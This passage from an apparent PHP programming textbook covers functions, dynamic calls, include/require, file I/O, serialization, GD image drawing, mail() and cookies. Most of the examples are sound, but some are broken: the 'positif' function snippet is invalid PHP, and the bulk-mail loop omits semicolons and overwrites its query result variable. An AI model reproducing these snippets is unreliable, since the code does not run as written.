  if($someVar == 'My Lab') {
    $array[$i] = 'My Laboratory';
  }

  // doesn't update the array
  $someVar = 'Foo';
}
```

17 Functions

17.1 Introduction

Functions (or *methods* in the context of a class/object) are a way to group common tasks or calculations to be re-used simply.

Functions in computer programming are much like mathematical functions: You can give the function values to work with and get a result without having to do any calculations yourself.

You can also find a huge list of predefined functions built into PHP in the PHP Manual's function reference[1].

17.2 How to call a function

Note that `echo` is not a function.[1] "Calling a function" means causing a particular function to run at a particular point in the script. The basic ways to call a function include:

- calling the function to write on a new line (such as after a ";" or "}")

```
print('I am human, I am.');
```

- calling the function to write on a new line inside a control

```
if ($a == 72) {
  print('I am human, I am.');
}
```

- assigning the returned value of a function to a variable "`$var = function()`"

```
$result = sum ($a, 5);
```

- calling a function inside the argument parentheses (expression) of a control

```
while ($i < count($one)) {

}
```

In our earlier examples we have called several functions. Most commonly we have called the function `print()` to print text to the output. The parameter for echo has been the string we wanted printed (for example `print("Hello World!")` prints "Hello World!" to the output).

1 `http://www.php.net/manual/en/funcref.php`

If the function returns some information, we assign it to a variable with a simple assignment operator "=":

```
$var1 = func_name();
```

17.3 Parameters

Parameters are variables that exist only within that function. They are provided by the programmer when the function is called and the function can read and change them locally (except for reference type variables that are changed globally, which is a more advanced topic).

When declaring or calling a function that has more than one parameter, you need to separate between different parameters with a comma `','`.

A function declaration can look like this:

```
function print_two_strings($var1, $var2) {
  echo $var1;
  echo "\n";
  echo $var2;
  return NULL;
}
```

To call this function, you must give the parameters a value. It doesn't matter what the value is, as long as there is one:

```
print_two_strings("Hello", "World");
```

Output:

```
Hello
World
```

When declaring a function, you sometimes want to have the freedom not to use all the parameters. Therefore, PHP allows you to give them default values when declaring the function:

```
function print_two_strings($var1 = "Hello World", $var2 = "I'm Learning PHP") {
  echo($var1);
  echo("\n");
  echo($var2);
}
```

These values will only be used, if the function call does not include enough parameters. If there is only one parameter provided, then `$var2 = "I'm Learning PHP"`:

```
print_two_strings("Hello");
```

Output:

```
Hello
I'm Learning PHP
```

Another way to have a dynamic number of parameters is to use PHP's built-in `func_num_args`, `func_get_args`, and `func_get_arg` functions.

```
function mean() {
  $sum = 0;
  $param_count = func_num_args();
  for ($i = 0; $i < $param_count; $i++) {
    $sum += func_get_arg($i);
  }
  $mean = $sum/$param_count;
  echo "Mean: {$mean}";
  return NULL;
}
```

or

```
function mean() {
  $sum = 0;
  $vars = func_get_args();
  for ($i = 0; $i < count($vars); $i++) {
    $sum += $vars[$i];
  }
  $mean = $sum/count($vars);
  echo "Mean: {$mean}";
  return NULL;
}
```

The above functions would calculate the arithmetic mean[2] of all of the values passed to them and output it. The difference is that the first function uses `func_num_args` and `func_get_arg`, while the second uses `func_get_args` to load the parameters into an array. The output for both of them would be the same. For example:

```
mean(35, 43, 3);
```

Output:

```
Mean: 27
```

17.4 Returning a value

This function is all well and good, but usually you will want your function to return some information. Generally there are two reasons why a programmer would want information from a function:

1. The function does tasks such as calculations, and we need the result.
2. A function can return a value to indicate, if the function encountered any errors.

To return a value from a function use the `return()` statement in the function.

```
function add_numbers($var1 = 0, $var2 = 0, $var3 = 0) {
  $var4 = $var1 + $var2 + $var3;
  return $var4;
}
```

2 https://en.wikipedia.org/wiki/Arithmetic_mean

Example PHP script:

```
function add_numbers($var1 = 0, $var2 = 0, $var3 = 0) {
  $var4 = $var1 + $var2 + $var3;
  return $var4;
}

$sum = add_numbers(1, 6, 9);
echo "The result of 1 + 6 + 9 is {$sum}";
```

Result:

```
The result of 1 + 6 + 9 is 16
```

Notice that a `return()` statement ends the function's course. If anything appears in a function declaration after the `return()` statement is executed, it is parsed but not executed. This can come in handy in some cases. For example:

```
function divide ($dividee, $divider) {
  if ($divider == 0) {
    // Can't divide by 0.
    return false;
  }
  $result = $dividee/$divider;
  return $result;
}
```

Notice that there is no `else` after the `if`. This is due to the fact that, if `$divider` does equal `0`, the `return()` statement is executed and the function stops.

If you want to return multiple variables, you need to return an array rather than a single variable. For example:

```
function maths ($input1, $input2) {
  $total = ($input1 + $input2);
  $difference = ($input1 - $input2);
  $return = array("tot" => $total, "diff" => $difference);
  return $return;
}
```

When calling this from your script, you need to call it into an array. For example:

```
$return = maths(10, 5);
```

In this case `$return['tot']` will be the total (e.g. 15), while `$return['diff']` will be the difference (5).

17.5 Runtime function usage

A developer can create functions inside a PHP script without having to use the `function name($param...) {}` syntax. This can be done by way of programming that can let you run functions dynamically.

17.5.1 Executing a function that is based on a variable's name

There are two ways to do it: either using the direct call, or the `call_user_func` or the `call_user_func_array`:

Using `call_user_func*` functions to call functions

`call_user_func` and `call_user_func_array` only differ in that the `call_user_func_array` allows you to use the second parameter as array to pass the data very easily, and `call_user_func` has an infinite number of parameters that is not very useful in a professional way. In these examples, a class will be used for a wider range of using the example:

```
class Some_Class {
  function my_function($text1, $text2, $text3) {
    $return = $text1 . "\n\n" . $text2 . "\n\n" . $text3;
    return $return;
  }
}
$my_class = new Some_Class();
```

Using `call_user_func`:

```
$one = "One";
$two = "Two";
$three = "Three";
$callback_func = array(&$my_class, "my_function");
$result = call_user_func($callback_func, $one, $two, $three);
echo $result;
```

Using `call_user_func_array`:

```
$one = "One";
$two = "Two";
$three = "Three";
$callback_func = array(&$my_class, "my_function");
$result = call_user_func_array($callback_func, array($one, $two, $three));
echo $result;
```

Note how `call_user_func` and `call_user_func_array` are used in both of the examples. `call_user_func_array` allows the script to execute the function more dynamically.

As there was no example of using both of these functions for a non-class function, here they are:

Using `call_user_func`:

```
$one = "One";
$two = "Two";
$three = "Three";
$callback_func = "my_function";
$result = call_user_func($callback_func, $one, $two, $three);
echo $result;
```

Using `call_user_func_array`:

```
$one = "One";
$two = "Two";
$three = "Three";
$callback_func = "my_function";
$result = call_user_func_array($callback_func, array($one, $two, $three));
echo $result;
```

More complicated examples

```
$my_func($param1, $param2);
$my_class_name = new ClassObject();
$my_class_name->$my_func_from_that_class($param1, $param2);
// The -> symbol is a minus sign follow by a "larger than" sign. It allows you
 to
// use a function that is defined in a different PHP class. It comes directly
 from
// object-oriented programming. Via a constructor, a function of that class is
// executable. This specific example is a function that returns no values.
call_user_func($my_func, $param1, $param2);

call_user_func(array(&${$my_class_name}, $my_func), $param1, $param2);
// Prefixing a & to a variable that represents a class object allows you to send
 the
// class object as a reference instead of a copy of the object. In this example
 this
// means that $my_class_name Object would have a copy made of it, the function
 will
// act on the copy, and when the function ends. The original object wouldn't
 suffer
// modifications. Passing an object through its reference passes the address in
 memory
// where that object is stored and call_user_func will alter the actual object.

call_user_func_array($my_func, array($param1, $param2));
// Most powerful, dynamic example
call_user_func_array(array(&${$my_class_name}, $my_func), array($param1,
 $param2));
```

```
function positif($x + $y;) {
  $x = 2;
  $y = 5;
  $z = $x + $y;
  echo $z;
}
positif = $x + $y;
```

17.5.2 Creating runtime functions

Creating runtime functions is a very good way of making the script more dynamic:

```
$function_name = create_function('$one, $two', 'return $one + $two;');
echo $function_name . "\n\n";
echo $function_name("1.5", "2");
```

`create_function` creates a function with parameters `$one` and `$two`, with a code to evaluate return... When `create_function` is executed, it stores the function's info in the memory and returns the function's name. This means that you cannot customise the name of the function although that would be preferred by most developers.

17.5.3 Citations

1. echo[3]

3 http://php.net/echo

18 PHP Include Files

18.1 Includes

There are two methods of including a file in PHP: `include` and `require`.

```
include "file.php";
require "file.php";
```

They both perform essentially the same function, but have one major difference: `include` will only throw a warning if there is a problem during the include process; `require`, however, will halt execution in this scenario. Therefore, a script's dependencies will often be called with `require`.

Prior to version 4.0.2, `require` also attempted to read a file, regardless of whether the code in that file was executed or not. This means that if a file did not exist, an error would be thrown even if it would never be interpreted. The following code:

```
<?php
if (false) {
   require "some_nonexistent_file.php";
}

require "another_nonexistent_file.php";
```

would therefore fail on the first `require` in versions before 4.0.2, and the second in all other versions.

18.1.1 Include Once

Additionally, there exist many code libraries, class definitions, and variable declarations that you will want to separate into an include file, but that should only be called into the current script once. To ensure that these libraries are only included once, php includes the `include_once()` and `require_once()`functions.

Each time one of these functions is called, the php parser remembers which file it has called. If another `include_once()`or `require_once` attempts to load the same file, the parser will simply skip the command. It will produce no error or warning, it will simply act as though the command had executed successfully. This is because, in fact, it has.

IMPORTANT: If you include a file once with `include_once()` and then later using `include()`, the file will be included a second time. If a file is included using `include_once()` and a call to the same file is made by `require_once()`, it will not be included again. Include_once() and require_once() have the same 'memory,' as it were.

19 Files

Working with files is an important part of any programming language, and PHP is no different. Whatever your reasons are for wanting to manipulate files, PHP will happily accommodate them through the use of a handful of functions. You should have read and be comfortable with the concepts presented in the first five sections of this book before beginning here.

19.1 Folders

To display the current directory: dirname().

To change the directory: chdir().

To make a new directory: mkdir().

19.2 *fopen()* and *fclose()*

fopen() is the basis for file manipulation. It opens a file in a certain mode (that you specify) and returns a handle. Using this handle you can read or write to the file, before closing it with the *fclose()* function.

Example Usage

```
<?php
$handle = fopen('data.txt', 'r'); // Open the file for reading
fclose($handle); // Close the file
?>
```

In the example above you can see the file is opened for reading by specifying 'r' as the mode. For a full list of all the modes available to *fopen(),* you can look at the PHP Manual[1] page.

Opening and closing the file is all well and good, but to perform useful operations, you need to know about *fread()*[2] and *fwrite()*[3].

When a PHP script finishes executing, all open files are automatically closed. So although it is not strictly necessary to close a file after opening it, it is considered good programming practice to do so.

1 http://php.net/fopen
2 http://php.net/fread
3 http://php.net/fwrite

19.3 Reading

Reading can be done in a number of ways. If you just want all the contents of a file available to work with, you can use the *file_get_contents()*[4] function. If you want each line of the file in an array, you can use the *file()*[5] command. For total control over reading from files, *fread()*[6] can be used.

These functions are usually interchangeable and each can be used to perform each other's function. The first two do not require that you first open the file with *fopen()* or then close it with *fclose()*. These are good for quick, one-time file operations. If you plan on performing multiple operations on a file it is best to use *fopen()* in conjunction with *fread()* , *fwrite()* and *fclose()* as it is more efficient.

An example of using file_get_contents()

 **Code:**

```
<?php
$contents = file_get_contents('data.txt');
echo $contents;
?>
```

 **Output:**

```
I am the contents of data.txt
```

This function reads the entire file into a string and from then on you can manipulate it as you would any string.

An example of using file()

 **Code:**

```
<?php
$lines = file('data.txt');
foreach($lines as $Key => $line) {
    $lineNum = $Key + 1;
    echo "Line $lineNum: $line";
}
?>
```

 **Output:**

```
Line 1: I am the first line of file
Line 2: I am the second line the of the file
Line 3: If I said I was the fourth line of the file, I'd be lying
```

This function reads the entire file into an array. Each item in the array corresponds to a line in the file.

4 http://php.net/file_get_contents
5 http://php.net/file
6 http://php.net/fread()

An example of using fread()

Code:

```
<?php
$handle = fopen('data.txt', 'r');
$string = fread($handle, 64);
fclose($handle);

echo $string;
?>
```

Output:

```
I am the first 64 bytes of data.txt (if it was ASCII encoded). I
```

This function can read up to the specified number of bytes from the file and return it as a string. For the most part, the first two functions will be preferable, but there are occasions when this function is needed.

As you can see, with these three functions you are able to easily read data from a file into a form that is convenient to work with. The next part shows how these functions can be used to do the jobs of the others, but this is optional. You may skip it and move onto the writing section, if you are not interested.

```
<?php
$file = 'data.txt';

function detectLineEndings($contents) {
    if(false !== strpos($contents, "\r\n")) return "\r\n";
    else if(false !== strpos($contents, "\r")) return "\r";
    else return "\n";
}

/* This is equivalent to file_get_contents($file), but is less efficient */
$handle = fopen($file, 'r');
$contents = fread($handle, filesize($file));
fclose($handle);

/* This is equivalent to file($file), but requires you to check for the
 line-ending
type. Windows systems use \r\n, Macintosh \r and Unix \n. File($file) will
automatically detect line-endings whereas fread/file_get_contents won't */
$lineEnding = detectLineEndings($contents);
$contents = file_get_contents($file);
$lines = explode($lineEnding, $contents);

/* This is also equivalent to file_get_contents($file) */
$lines = file($file);
$contents = implode("\n", $lines);

/* This is equivalent to fread($file, 64), if the file is ASCII encoded */
$contents = file_get_contents($file);
$string = substr($contents, 0, 64);
?>
```

19.4 Writing

Writing to a file is done by using the *fwrite()*[7] function in conjunction with *fopen()*[8] and *fclose()*[9]. As you can see, there aren't as many options for writing to a file as there are for reading from one. However, PHP 5 introduces the function *file_put_contents()*[10] that simplifies the writing process somewhat. This function will be discussed later in the PHP 5 section, as it is fairly self-explanatory and does not require discussion here.

The extra options for writing don't come from the amount of functions, but from the modes available for opening the file. There are three different modes you can supply to the *fopen()*[11] function, if you wish to write to a file. One mode, 'w', wipes the entire contents of the file, so anything you then write to the file will fully replace what was there before. The second mode, 'a', appends stuff to the file so anything you write to the file will appear just after the original contents of the file. The final mode 'x' only works for non-existent files. All three writing modes will attempt to create the file, if it doesn't exist whereas the 'r' mode will not.

7 http://php.net/fwrite()
8 http://php.net/fopen()
9 http://php.net/fclose()
10 http://php.net/file_put_contents
11 http://php.net/fopen

An example of using the 'w' mode

Code:

```
<?php
$handle = fopen('data.txt', 'w'); // Open the file and delete its contents
$data = "I am new content\nspread across\nseveral lines.";
fwrite($handle, $data);
fclose($handle);

echo file_get_contents('data.txt');
?>
```

Output:

```
I am new content
spread across
several lines.
```

An example of using the 'a' mode

Code:

```
<?php
$handle = fopen('data.txt', 'a'); // Open the file for appending
$data = "\n\nI am new content.";
fwrite($handle, $data);
fclose($handle);

echo file_get_contents('data.txt');
?>
```

Output:

```
I am the original content.

I am new content.
```

An example of using the 'x' mode

Code:

```
<?php
$handle = fopen('newfile.txt', 'x'); // Open the file only, if it doesn't exist
$data = "I am this file's first ever content!";
fwrite($handle, $data);
fclose($handle);

echo file_get_contents('newfile.txt');
?>
```

Output:

```
I am this file's first ever content!
```

Of the three modes shown above, 'w' and 'a' are used the most, but the writing process is essentially the same for all the modes.

19.5 Reading *and* Writing

If you want to use *fopen()*[12] to open a file for both reading *and* writing all you need to do is put a '+' on the end of the mode. For example, reading from a file requires the 'r' mode. If you want to read and write to/from that file you need to use 'r+' as a mode. Similarly you can read and write to/from a file using the 'w+' mode. However, this will also truncate the file to zero length. For a better description visit the *fopen()*[13] page that has a very useful table describing all the modes available.

19.6 Error Checking

Error checking is important for any sort of programming, but when working with files in PHP it is especially important. This need for error checking arises mainly from the filesystem the files are on. The majority of webservers today are Unix-based and so, if you are using PHP to develop web-applications, you have to account for file permissions. In some cases PHP may not have permission to read the file and so, if you've written code to read a particular file, it will result in an ugly error. More likely is that PHP doesn't have permission to write to a file and that will again result in ugly errors. Also, the file's existence is (somewhat obviously) important. When attempting to read a file, you must make sure the file exists first. On the other side of that, if you're attempting to create and then write to a file using the 'x' mode, then you must make sure the file *doesn't* exist first.

In short, when writing code to work with files, always assume the worst. Assume the file doesn't exist and you don't have permission to read from/write to it. In most cases this means you have to tell the users that, in order for the script to work, they need to adjust

12 http://php.net/fopen
13 http://php.net/fopen

those file permissions so that PHP can create files and read from/write to them, but it also means that your script can adjust and perform an alternative operation.

There are two main ways of error checking. The first is by using the '@[14]' operator to suppress any errors when working with the file and then checking, if the result is **false** or not. The second method involves using more functions like *file_ exists()*[15], *is_ readable()*[16] and *is_ writeable()*[17].

Examples of using the '@' operator

```
<?php
$handle = @ fopen('data.txt', 'r');
if(!$handle) {
    echo 'PHP does not have permission to read this file or the file in question
 doesn\'t exist.';
} else {
    $string = fread($handle, 64);
    fclose($handle);
}

$handle = @ fopen('data.txt', 'w'); // The same applies for 'a'
if(!$handle) {
    echo 'PHP either does not have permission to write to this file or
it does not have permission to create this file in the current directory.';
} else {
    fwrite($handle, 'I can has content?');
    fclose($handle);
}

$handle = @ fopen('data.txt', 'x');
if(!$handle) {
    echo 'Either this file exists or PHP does not have permission to
create this file in the current directory.';
} else {
    fwrite($handle, 'I can has content?');
    fclose($handle);
}
?>
```

As you can see, the '@' operator is used mainly when working with the *fopen()* function. It can also be used in other cases, but is generally less efficient.

14 http://uk.php.net/manual/en/language.operators.errorcontrol.php
15 http://php.net/file_exists
16 http://php.net/is_readable
17 http://php.net/is_writeable

Examples of using specific checking functions

```
<?php
$file = 'data.txt';

if(!file_exists($file)) {
    // No point in reading since there is no content
    $contents = '';

    // But might want to create the file instead
    $handle = @ fopen($file, 'x'); // Still need to error-check
    if(!$handle) {
        echo 'PHP does not have permission to create a file in the current
 directory.';
    } else {
        fwrite($handle, 'Default data');
        fclose($handle);
    }
} else {
    // The file does exist so we can try to read its contents
    if(is_readable($file)) {
        $contents = file_get_contents($file);
    } else {
        echo 'PHP does not have permission to read that file.';
    }
}

if(file_exists($file) && is_writeable($file)) {
    $handle = fopen($file, 'w');
    fwrite($handle, 'I can has content?');
    fclose($handle);
}
?>
```

You can see by that last example that error-checking makes your code very robust. It allows it to be prepared for most situations and behave accordingly, which is an essential aspect of any program or script.

19.7 Line-endings

Line-endings were mentioned briefly in the final example in the 'Reading' section of this chapter and it is important to be aware of them when working with files. When reading from a text file, it is important to know what types of line-endings that file contains. 'Line-endings' are special characters that try to tell a program to display a new line. For example, Notepad will only move a piece of text to a new line, if it finds "\r\n" just before the new line (it will also display new lines, if you put word wrap on).

If someone writes a text file on a Windows system, the chances are that each line will end with "\r\n". Similarly, if they write the file on a Classic Macintosh (Mac OS 9 and under) system, each line will probably end with "\r". Finally, if they write the file on a Unix-based system (Mac OS X and GNU/Linux), each line will probably end with "\n".

Why is this important? Well, when you read a file into a string with *file_ get_ contents()*[18], the string will be one long line with those line-endings all over the place. Sometimes they will get in the way of things you want to do with the string so you can remove them with:

```
<?php
$string = str_replace(array("\n", "\r"), '', $string);
?>
```

Other times you may need to know what kind of line-ending is being used throughout the text in order to be consistent with any new text you add. Luckily, in 99% of cases, the line-endings will never change type throughout the text so the custom function 'detectLineEndings' can be used as a quick way of checking:

```
<?php
function detectLineEndings($string) {
    if(false !== strpos($string, "\r\n")) return "\r\n";
    else if(false !== strpos($string, "\r")) return "\r";
    else return "\n";
}
?>
```

Most of the time though, it is just sufficient to be aware of their existence within the text so you can adjust your script to cope properly.

19.8 Binary-safe

So far, all of the text seen in this chapter has been assumed to be encoded in some form of plaintext encoding such as UTF-8 or ASCII. Files do not have to be in this format, however, and in fact there exist a huge number of formats that aren't (such as pictures or executables). If you want to work with these files you have to ensure that the functions you are using are 'binary-safe'. Previously you would have to add 'b' to the end of the modes you used to tell PHP to treat the file as a binary file. Failing to do so would give unexpected results and generally 'weird-looking' data.

Since about PHP 4.3, this is no longer necessary as PHP will automatically detect, if it needs to open the file as a text file or a binary file and so you can still follow most of the examples shown here.

Working with binary data is a lot different to working with plaintext strings and characters and involves many more functions that are beyond the scope of this chapter. However, it is important you know about these differences.

19.9 Serialization

Serialization is a technique used by programmers to preserve their working data in a format that can later be restored to its previous form. In simple cases this means converting a normal variable such as an array into a string and then storing it somewhere. That data can then be unserialized and the programmer will be able to work with the array once again.

18 `http://php.net/file_get_contents`

There is a whole chapter devoted to Serialization[19] in this book as it is a useful technique to know how to use effectively. It is mentioned here as one of the primary uses of serialization to store data on plain files when a database is not available. It is also used to store the state of a script and to cache data for quicker access later, and files are one of the preferred media for this storage.

In PHP, serialization is very easy to perform through use of the *serialize()*[20] and *unserialize()*[21] functions. Here follows an example of serialization used in conjunction with file functions.

An example of storing user details in a file so that they can be easily retrieved later.

 **Code:**

```
<?php
/* This part of the script saves the data to a file */
$data = array(
    'id' => 114,
    'first name' => 'Foo',
    'last name' => 'Bartholomew',
    'age' => 21,
    'country' => 'England'
);
$string = serialize($data);

$handle = fopen('data.dat', 'w');
fwrite($handle, $string);
fclose($handle);

/* Then, later on, we retrieve the data from the file and output it */
$string = file_get_contents('data.dat');
$data = unserialize($string);

$output = '';
foreach($data as $key => $datum) {
    $field = ucwords($key);
    $output .= "$field: $datum\n";
}

echo $output
?>
```

 **Output:**

```
Id: 114
First Name: Foo
Last Name: Bartholomew
Age: 21
Country: England
```

19 https://en.wikibooks.org/w/index.php?title=Programming:PHP/Serialization&action=edit&redlink=1
20 http://php.net/serialize
21 http://php.net/unserialize

19.10 PHP 5

There is one particular function specific to files that was introduced in PHP 5. That was the *file_put_contents()*[22] function. It offers an alternative method of writing to files that does not exist in PHP 4. To see how it differs, it is easiest to just look at an example.

Examples showing writing to a file in PHP 4 and the equivalent in PHP 5 with the file_put_contents() function

```
<?php
$file = 'data.txt';
$content = 'New content.';

// PHP 4, overwrite entire file with data
$handle = fopen($file, 'w');
fwrite($handle, $content);
fclose($handle);

// PHP 5
file_put_contents($file, $content);

// PHP 4, append to a file
$handle = fopen($file, 'a');
fwrite($handle, $content);
fclose($handle);

// PHP 5
file_put_contents($file, $content, FILE_APPEND);
?>
```

file_put_contents() will also attempt to create the file, if it doesn't exist and it is binary-safe. There is no equivalent of the 'x' mode for *file_get_contents()*.

file_put_contents() is almost always preferable over the *fopen()* method except when performing multiple operations on the same file. It is more preferable to use it for writing than *file_get_contents()* is for reading and for this reason, a function is provided here to emulate the behaviour of *file_put_contents()* for PHP 4:

```
<?php
if(!function_exists('file_put_contents')) {
    function file_put_contents($file, $data, $append = false) {
        if(!$append) $mode = 'w';
        else $mode = 'a';

        $handle = @ fopen($file, $mode);
        if(!$handle) return false;

        $bytes = fwrite($handle, $data);
        fclose($handle);

        return $bytes;
    }
}
?>
```

22 http://php.net/file_put_contents

20 Images

20.1 Introduction

PHP can create and modify dynamically some images, for example with the GD Graphics Library[1], included by default since PHP 3.0.

A new image creation must follow with a few steps:

1. Memory loading of a new or an existing image.
2. Optional colors loading to add.
3. Optional components modifications (lines creation, points, fillings, texts addition...).
4. Image restitution by posting its type into the header.
5. Memory release.

20.2 Create a new image

To create an image ex nihilo, use the function:

```
imagecreatetruecolor($height, $width)
```

which creates in memory a new image, its height and width are defined in pixel, and restitutes a reference to the new image.

There is also another function for this, but it's not recommended as its colors amplitude is worst[1]:

```
imagecreate($height, $width)
```

To load in memory an image which had been saved on the disk:

```
imagecreatefrom<type>($path)
```

Example:

```
$img = imagecreatefrompng('image.png');
```

Other function:

```
imagecreatefromstring($text)
```

which creates an image from its text format, specified in parameter.

1 https://en.wikipedia.org/wiki/GD_Graphics_Library

If an error occurs, theses functions return `false`.

20.3 Work with the colors

To allocate a color, the RGB[2] parameters must be defined:

```
$color = imagecolorallocate($image,$r,$g,$b)
```

To define a transparency into a PNG:

```
imagecolortransparent($image,$color)
```

where `$color` is the result of `imagecolorallocate`.

It's also possible possible to determine the transparency, between 0 and 127 (which represents the total transparency) with the function:

```
imagecolorallocatealpha($image,$r,$g,$b,$transparency)
```

Remark: the first allocated color defines the whole image background.

Once the image is created and colored, it becomes possible to apply the following operations to it:

- Draw some pixels (eg: create lines).
- Work on the existing pixels by designating zones.

20.4 Draw shapes

To draw a pixel, we use its coordinates (x, y below):

```
imagesetpixel(image, x, y, color)
```

To draw a line between two points:

```
imageline(image, x1, y1, x2, y2, color)
```

To create a rectangle from its diagonal:

```
imagerectangle(image, x1, y1, x2, y2, color)
```

To represent an ellipse from its center, its height and width:

```
imageellipse(image, x, y, h, l, color)
```

or by precising its arc by its angles in gradient (clockwise numbered):

2 https://en.wikipedia.org/wiki/RGB

```
imagearc(image, x, y, h, l, angle1, angle2, color)
```

20.5 Rework the existing pixels

The most used functions to rework images like photos, is certainly `imagecopyresized`, which allows to copy a rectangular zone to paste it in another image[2]. Example:

```
imagecopyresized(dst_image, src_image, dst_x, dst_y, src_x, src_y, dst_w, dst_h,
 src_w, src_h);
```

where:

- `src_image` is the source image;
- `dst_image` is the destination image;
- `dst_x, dst_y` are the coordinates of `dst_image`;
- `src_x, src_y` are the coordinates of `src_image`, beginning at the top left;
- `dst_w, dst_h, src_w, src_h` are the source and destination rectangles widths and heights.

It becomes understandable after, that if `dst_w` is equal to `src_w`, and `dst_h` to `src_h`, the image rectangular portion will remain the same size. On the contrary we lengthen or enlarge.

The function `imagecopyresampled` receives the same parameters as `imagecopyresized`, but in case of resizing, the quality est improved.

Then it exists the function `imagefilter` which allow numerous effects, such as grayscale, relief, or recoloration[3].

20.6 Print the output

The obtained image format (”png”, ”jpeg” or ”gif”) can be specified by the function called `header`, via the *content-type* (by default *text/html*) with:

```
header("Content-type: image/<type>");
```

To visualize the image after, place it in parameter in a function depending on its type: `imagepng`, `imagejpeg` or `imagegif`.

Then, liberate the memory with `imagedestroy($image)`. This stage is optional but strongly recommended for huge images.

20.7 Example

The following code displays in the navigator, a 50 pixels red square into a 100 black one.

```
$image = imagecreatetruecolor(100, 100);
$color = imagecolorallocate($image, 255, 0, 0);
imagefilledrectangle($image,0,0,50,50,$color);
header("Content-type: image/png");
imagepng($image);
imagedestroy($image);
```

20.8 References

1. [3]
2. [4]
3. [5]

3 http://php.net/manual/en/function.imagecreate.php
4 http://php.net/manual/en/function.imagecopyresized.php
5 http://www.php.net/manual/en/function.imagefilter.php

21 Mailing

The mail function is used to send E-mail Messages through the SMTP server specified in the php.ini Configuration file.

`bool` **mail** (string to, string subject, string message [, string additional_headers [, string additional_parameters]])

The returned boolean will show whether the E-mail has been sent successfully or not.

This example will send message "message" with the subject "subject" to email address "example@domain.tld". Also, the receiver will see that the eMail was sent from "Example2 <example2@domain.tld>" and the receiver should reply to "Example3 <example3@domain.tld>"

```
mail(
 "example@domain.tld", // E-Mail address
 "subject", // Subject
 "message", // Message
 "From: Example2 <example2@domain.tld>\r\nReply-to: Example3
<example3@domain.tld>"  // Additional Headers
);
```

There is no requirement to write E-mail addresses in format "Name <email>", you can just write "email".

This will send the same message as the first example but includes From: and Reply-To: headers in the message. This is required if you want the person you sent the E-mail to be able to reply to you. Also, some E-mail providers will assume mail is spam if certain headers are missing so unless you include the correct headers your mail will end up in the junk mail folder.

21.1 Important notes

- PHP by default does not have any mail sending ability itself. It needs to pass the mail to a local mail transfer agent, such as sendmail[1]. This means you cannot just run PHP by itself and expect it to send mail; you *must* have a mail transfer agent installed.
- Make sure you do not have any newline characters in the to or subject, or the mail may not be sent properly.
- However, the additional headers field – which should always include the From: header – may also include other headers. On PHP for Windows, each header should be followed by \r\n but on Unix versions, you should only include \n between header lines. Don't put \n or \r\n after the final additional header line.

1 `https://en.wikipedia.org/wiki/sendmail`

- The to parameter should not be an address in the form of "Name <someone@example.com>". The mail command may not parse this properly while talking with the MTA (Particularly under Windows).

21.2 Error Detection

Especially when sending multiple emails, such as for a newsletter script, error detection is important.

Use this script to send mail while warning for errors:

```
$result = @mail($to, $subject, $message, $headers);

if ($result) {
    echo "Email sent successfully.";
} else {
    echo "Email was not sent, as an error occurred.";
}
```

21.3 Sending To Multiple Addresses Using Arrays

In the case below the script has already got a list of emails, we simply use the same procedure for using a loop in PHP with mysql results. The script below will attempt to send an email to every single email address in the array until it runs out.

```
while ($row = mysql_fetch_assoc($result)) {
      mail($row['email'], $subject, $message, null, "-f$fromaddr");
}
```

Then if we integrate the error checking into the multiple email script we get the following

```
$errors = 0
$sent = 0

while ($row = mysql_fetch_assoc($result)) {
      $result = "";
      $result = @mail($row['email'], $subject, $message, null, "-f$fromaddr");
      if (!$result) {
          $errors = $errors + 1;
      }
      $sent = $sent + 1;
}

echo "You have sent $sent messages";
echo "However there were $errors errors";
```

21.4 For More Information

- PHP Manual: Mail Functions[2]

2 http://www.php.net/manual/en/ref.mail.php

22 Cookies

22.1 Cookies

Cookies are small pieces of data stored as text on the client's computer. Normally cookies are used only to store small amounts of data, including user preferences, time and more. Even though cookies are not harmful some people do not permit cookies due to concerns about their privacy. In this case you have to use Sessions[1].

Cookies were first introduced by Netscape. PHP allows easy setting and retrieving of cookies.

22.1.1 Setting a cookie

Setting a cookie is extremely easy with *setcookie()*[1].

Syntax

```
bool setcookie ( string name [, string value [, int expire [, string path [,
string domain [, bool secure]]]]])
```

where `name` is the cookie name, `value` is the data to be contained in the cookie, `expire` the time after which the cookie should expire, `path` the path on the server which can use the cookie, `domain` can be used to set permissions for subdomains and secure if set true only transmits the cookie if a secure connection is present.

Since all cookies are sent by the server along with HTTP[2] headers you need to set any cookie at the start of a page **before** any other code. You will normally only need to use the name, value and expire arguments. If expire not set the cookie will expire when the client closes the browser.

Examples

```
setcookie("wikibooks", "user", time()+3600);
```

The above code will set a cookie having the name wikibooks, value user and will expire an hour after it is set.

1 https://en.wikibooks.org/wiki/Programming:PHP:sessions
2 https://en.wikibooks.org/wiki/Communication_Networks/HTTP_Protocol

```
setcookie("test", "PHP-Hypertext-Preprocessor", time()+60, "/location", 1);
```

Here the setcookie function is being called with four arguments (setcookie has 1 more optional argument, not used here). In the above code, the first argument is the cookie name, the second argument is the cookie contents and the third argument is the time after which the cookie should expire in seconds (*time()* returns current time in seconds, there time()+60 is one minute from now). The path, or location, element may be omitted, but it does allow you to easily set cookies for all pages within a directory, although using this is not generally recommended.

You should note that since cookies are sent with the HTTP headers the code has to be at the top of the page (Yes, even above the DOCTYPE declaration). Any other place will generate an error.

22.1.2 Retrieving cookie data

If a server has set a cookie on the user's computer, the user's browser sends it to the server each time a page loads. The name of each cookie sent by your server is stored in the superglobal array *_COOKIE*. So in the above example the cookie would be retrieved by calling **$_COOKIE['test']**. To access data in the cookie we use *explode()*[2]. explode() turns a string into an array with a certain delimiter present in the string. That is why we used those dashes(- hyphens) in the cookie contents. So to retrieve and print out the full form of PHP from the cookie we use the code:

```
$array = explode("-", $_COOKIE['test']); //retrieve contents of cookie
print("PHP stands for " . $array[0] . $array[1] . $array[2]); //display the
content
```

Note: $_COOKIE was Introduced in 4.1.0. In earlier versions, use $HTTP_COOKIE_VARS.

22.1.3 Where are cookies used?

Cookies can be often used for:

- user preferences
- inventories
- quiz or poll results
- user authentication
- remembering data over a longer period

You should **never** store unencrypted passwords in cookies as cookies can be easily read by other users.

You should **never** store critical data in cookies as cookies can be easily removed or modified by other users.

22.2 References

1. [3]
2. [4]

3 http://php.net/manual/en/function.setcookie.php
4 http://php.net/explode/

23 Sessions

